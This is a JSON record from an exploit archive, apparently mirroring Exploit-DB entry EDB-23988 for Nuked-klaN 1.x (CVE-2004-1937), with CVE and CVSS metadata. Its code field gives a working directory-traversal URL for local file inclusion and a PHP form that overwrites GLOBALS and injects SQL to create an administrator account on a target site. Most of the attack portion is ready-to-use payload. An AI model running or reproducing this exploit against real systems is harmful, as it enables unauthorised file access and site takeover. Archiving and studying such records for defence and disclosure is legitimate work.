{"exploit":{"id":"EDB-23988","name":"Nuked-klaN 1.x - Local File Inclusion (LFI) / Configuration File Corruption / SQL Injection (SQLi)","description":"Nuked-klaN 1.x - Local File Inclusion (LFI) / Configuration File Corruption / SQL Injection (SQLi)","cves":["CVE-2004-1937"],"author":"frog","published":"2004-04-12","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23988","path":"exploits/php/webapps/23988.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23988.txt","vulnerabilities":[{"id":"CVE-2004-1937","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in Nuked-KlaN 1.4b and 1.5b allow remote attackers to read or include arbitrary files via .. sequences in (1) the user_langue parameter to index.php or (2) the langue parameter to update.php, or modify arbitrary GLOBAL variables by causing globals.php to be loaded before conf.inc.php via (3) .. sequences in the file parameter with the page parameter set to globals, or (4) ../globals.php in the user_langue parameter, as demonstrated by modifying $nuked[prefix] in the Suggest module.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1937","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1937"},"updatedAt":"2024-08-08T01:07:49.136Z","retrievedAt":"2026-11-26T15:10:20.744Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23988.png?v=2","url":"https://exploitbin.com/exploits/EDB-23988","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23988/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23988/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/10104/info\n\nNuked-Klan is prone to multiple vulnerabilities. These issues include information disclosure via inclusion of local files, an issue that may permit remote attackers to corrupt configuration files and an SQL injection vulnerability.\n\n- To include a local file:\n\nhttp://www.example.com/index.php?user_langue=../../../../../file/to/view\n\n- Create admin (overwriting GLOBALS) :\n\n-------------------------------------------------------\n\n<html>\n<head>\n<title>Nuked-KlaN b1.5 Create Admin</title>\n</head>\n<body>\n<?\nfunction ascii_sql($str) {\nfor ($i=0;$i < strlen($str);$i++) {\nif ($i == strlen($str)-1){\n$ascii_char.=ord(substr($str,$i));\n}else{\n$ascii_char.=ord(substr($str,$i)).',';\n}\n}\nreturn $ascii_char;\n}\n\nif (isset($_POST[\"submit\"])){\n\necho \"<script>url='\".$target.\"/index.php?\nfile=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20\n(id,pseudo,pass,niveau)%20VALUES%20(12345,char(\".ascii_sql($_POST\n[\"pseudo\"]).\"),md5(char(\".ascii_sql($_POST\n[\"pass\"]).\")),9)/*&module=Gallery';window.open(url);</script>\";\necho \"<br><br><br><br>Admin should have been created.\";\n\n}else{\n?>\n\n<form method=\"POST\" action=\"<? echo $PHP_SELF; ?>\">\n<b>Target :</b> <input type=\"text\" name=\"target\" value=\"http://\"><br>\n<b>Admin Nick :</b> <input type=\"text\" name=\"pseudo\"><br>\n<b>Admin Pass :</b> <input type=\"text\" name=\"pass\"><br>\n<input type=\"submit\" name=\"submit\" value=\"Create Admin\">\n</form>\n<?\n}\n?>\n</body>\n</html>\n-------------------------------------------------------","sha256":"fb8b575caf227b54f4490b8b1160de938698556801e31a8118ea7fe97f061800","bytes":1567,"fetchedAt":"2026-11-26T15:10:19.075Z","encoding":"utf-8 (display only; download retains original bytes)"}